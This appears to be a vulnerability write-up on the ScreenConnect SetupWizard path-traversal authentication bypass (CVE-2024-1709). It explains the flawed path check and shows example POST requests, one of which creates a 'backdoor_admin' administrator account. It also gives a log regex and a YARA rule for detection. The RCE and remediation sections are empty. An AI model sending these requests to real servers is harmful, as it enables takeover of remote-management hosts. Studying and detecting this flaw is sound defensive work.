ConnectWise ScreenConnect Authentication Bypass: SetupWizard Path Traversal (Deep Analysis)

Executive Overview

CVE-2024-1709 is an unauthenticated, critical remote authentication bypass vulnerability affecting ConnectWise ScreenConnect (versions 23.9.7 and prior) with a maximum CVSSv3 base score of 10.0 (CRITICAL).

This vulnerability allows an unauthenticated external attacker to re-initialize the initial setup wizard on an active, fully configured production ScreenConnect instance, create a new administrative user with full administrative privileges, and subsequently deploy arbitrary server extensions or executables to gain complete remote code execution (RCE) on the underlying host operating system.

Vulnerability Mechanism & Root Cause

The vulnerability stems from an architectural routing flaw inside ScreenConnect's custom HTTP request processing pipeline for ASP.NET handlers (ScreenConnect.Server.dll).

During standard deployment, the initial setup wizard is exposed via:

https://target:8040/SetupWizard.aspx

When an installation completes, ScreenConnect sets an internal configuration flag:

IsSetup = true

Subsequent requests targeting /SetupWizard.aspx are evaluated by the application's authentication filter, which inspects whether setup is complete. If IsSetup == true, the filter rejects unauthenticated requests and redirects the user to /Login.

The Path Traversal Flaw

However, ScreenConnect's URL authorization check evaluated incoming paths using naive prefix and equality matching against the requested file segment:

// Decompiled pseudo-code representation of vulnerable authorization filter
string requestPath = request.AppRelativeCurrentExecutionFilePath;
if (requestPath.Equals("~/SetupWizard.aspx", StringComparison.OrdinalIgnoreCase))
{
if (ServerState.IsSetup)
{
response.Redirect("~/Login");
return;
}
}

Because Microsoft ASP.NET interprets URI path components following an .aspx extension as extra path information (PathInfo), appending any additional segment after the file name allows the request to bypass the exact string comparison check:

POST /SetupWizard.aspx/anything HTTP/1.1
Host: screenconnect.target.corp:8040
Content-Type: application/json

Exploitation Lifecycle & Privilege Escalation Flow

Once the authentication filter is bypassed, the attacker sends a crafted POST request to the Setup Wizard's user creation endpoint:

POST /SetupWizard.aspx/anything HTTP/1.1
Host: target:8040
Content-Type: application/json

{
"Action": "CreateUser",
"UserName": "backdoor_admin",
"Password": "ComplexPassword123!",
"Email": "[email protected]"
}

Because the wizard handler executes unconstrained, it commits the newly supplied credentials into the backend database (User.xml / internal user store) with Role: Administrator.

From Admin to Remote Code Execution (RCE)

With administrative privileges obtained, ScreenConnect allows administrators to install server-side extensions (.dll / .ashx) to customize remote management capabilities:

Forensic Indicators & Detection

Network & Log Indicators

Examine ScreenConnect application access logs (Server.log located in %ProgramFiles(x86)%\ScreenConnect\App_Data):

• •
  High-priority indicator: Any HTTP request containing /SetupWizard.aspx/ with trailing path data:

SetupWizard\.aspx\/[A-Za-z0-9_\-\.\/]+

• •
  New administrator accounts created outside scheduled maintenance windows.
• •
  Creation of unexpected .ashx or .dll files in C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\.

YARA Detection Rule

rule ScreenConnect_CVE_2024_1709_Exploit_Artifact {
meta:
description = "Detects ScreenConnect SetupWizard traversal exploitation artifacts"
cve = "CVE-2024-1709"
author = "CyberVault Threat Research"
date = "2024-02-20"
severity = "Critical"
strings:
$url1 = "SetupWizard.aspx/" ascii wide nocase
$wiz1 = "IsSetup" ascii wide
$act1 = "CreateUser" ascii wide
condition:
$url1 and ($wiz1 or $act1)
}

Remediation & Mitigation